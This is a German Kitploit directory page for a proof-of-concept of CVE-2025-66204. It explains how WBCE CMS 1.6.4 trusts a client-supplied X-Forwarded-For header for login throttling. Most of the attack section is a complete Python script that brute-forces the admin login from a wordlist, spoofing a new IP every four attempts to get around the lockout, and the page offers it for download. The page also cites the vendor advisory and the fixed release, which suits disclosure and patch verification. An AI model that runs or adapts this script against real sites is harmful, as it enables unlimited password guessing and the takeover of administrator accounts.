Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-66204 — Proof-of-Concept für CVE-2025-66204: Umgehung des Brute-Force-Schutzes in WBCE CMS über manipulierten X-Forwarded-For-Header, mit automatisiertem Python-Exploit-Skript. | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2025-66204
SchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsAuthentifizierungPapers & ForschungLernen & Bildung
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

Proof-of-Concept für CVE-2025-66204: Umgehung des Brute-Force-Schutzes in WBCE CMS über manipulierten X-Forwarded-For-Header, mit automatisiertem Python-Exploit-Skript.

Repository anzeigen
11vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-66204: WBCE CMS ermöglicht Umgehung des Brute-Force-Schutzes mittels X-Forwarded-For-Header

Überblick

...
FeldDetails
CVE-IDCVE-2025-66204
SchweregradMEDIUM
SicherheitshinweisSicherheitshinweis ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • WBCE/WBCE_CMS

Details

Zusammenfassung

In WBCE CMS 1.6.4 existiert eine Umgehung des Brute-Force-Schutzes. Der Login-Throttling-Mechanismus blockiert eine IP-Adresse nach 5 fehlgeschlagenen Anmeldeversuchen. Allerdings vertraut die Anwendung dem X-Forwarded-For-Header vollständig, ohne ihn zu validieren oder seine Verwendung einzuschränken.

Durch die Änderung von X-Forwarded-For bei jeder Anfrage kann ein Angreifer den Zähler unbegrenzt zurücksetzen und unbegrenzt viele Passwortversuche durchführen, wodurch der gesamte Brute-Force-Schutz effektiv umgangen wird.

Details

WBCE CMS ermittelt die Client-IP anhand der folgenden Logik:

  1. Wenn die Anfrage den Header X-Forwarded-For enthält, vertraut die Anwendung dessen Wert blind.
  2. Andernfalls greift sie auf REMOTE_ADDR zurück.

Obwohl WBCE standardmäßig nicht hinter einem Reverse-Proxy läuft, parst der Login-Endpunkt X-Forwarded-For dennoch, sobald der Header vorhanden ist – auch wenn er manuell vom Client hinzugefügt wurde.

Da die Anwendung nicht überprüft, ob die Anfrage von einem vertrauenswürdigen Proxy stammt, kann ein Angreifer einen eigenen X-Forwarded-For-Header mit einer beliebigen IP-Adresse einfügen.

Dies führt dazu:

  • Der Angreifer sendet 5 ungültige Passwörter mit X-Forwarded-For: 10.0.0.1 → diese IP wird blockiert
  • Der Angreifer sendet die nächste Anfrage mit X-Forwarded-For: 10.0.0.2 → wird als völlig neue IP behandelt
  • Der Brute-Force-Schutz kann unbegrenzt umgangen werden

Dieses Verhalten ist auf einer sauberen Standardinstallation ohne Reverse-Proxy vor WBCE CMS reproduzierbar.

PoC

Schritte

Versuchen Sie, sich mit einem falschen Passwort anzumelden, und senden Sie den Header:

X-Forwarded-For: 10.0.0.10

Wiederholen, bis die Sperre eintritt (nach 5 Versuchen). Bild

Header ändern zu:

X-Forwarded-For: 10.0.0.11

Die Anmeldeversuche werden zurückgesetzt und wieder zugelassen. Bild

Rotieren Sie durch 10.0.0.x und führen Sie Brute-Force-Angriffe ohne Einschränkung durch.

Automatisiertes PoC-Skript

Ich habe ein Python-Skript erstellt, das den Angriff automatisch durchführt, alle vier Versuche die gespooften IPs rotiert und erfolgreiche Anmeldungen erkennt.

Bild
Bild
Bild

Dies beweist die vollständige Umgehung des Schutzes.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Auswirkungen

  1. Unbegrenztes Brute-Forcing beliebiger Konten;
  2. Mögliche Kompromittierung von Administratorkonten;
  3. Keine Durchsetzung von Rate-Limiting;

Referenzen

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Haftungsausschluss

Diese CVE wurde unter Einhaltung koordinierter Offenlegungspraktiken verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen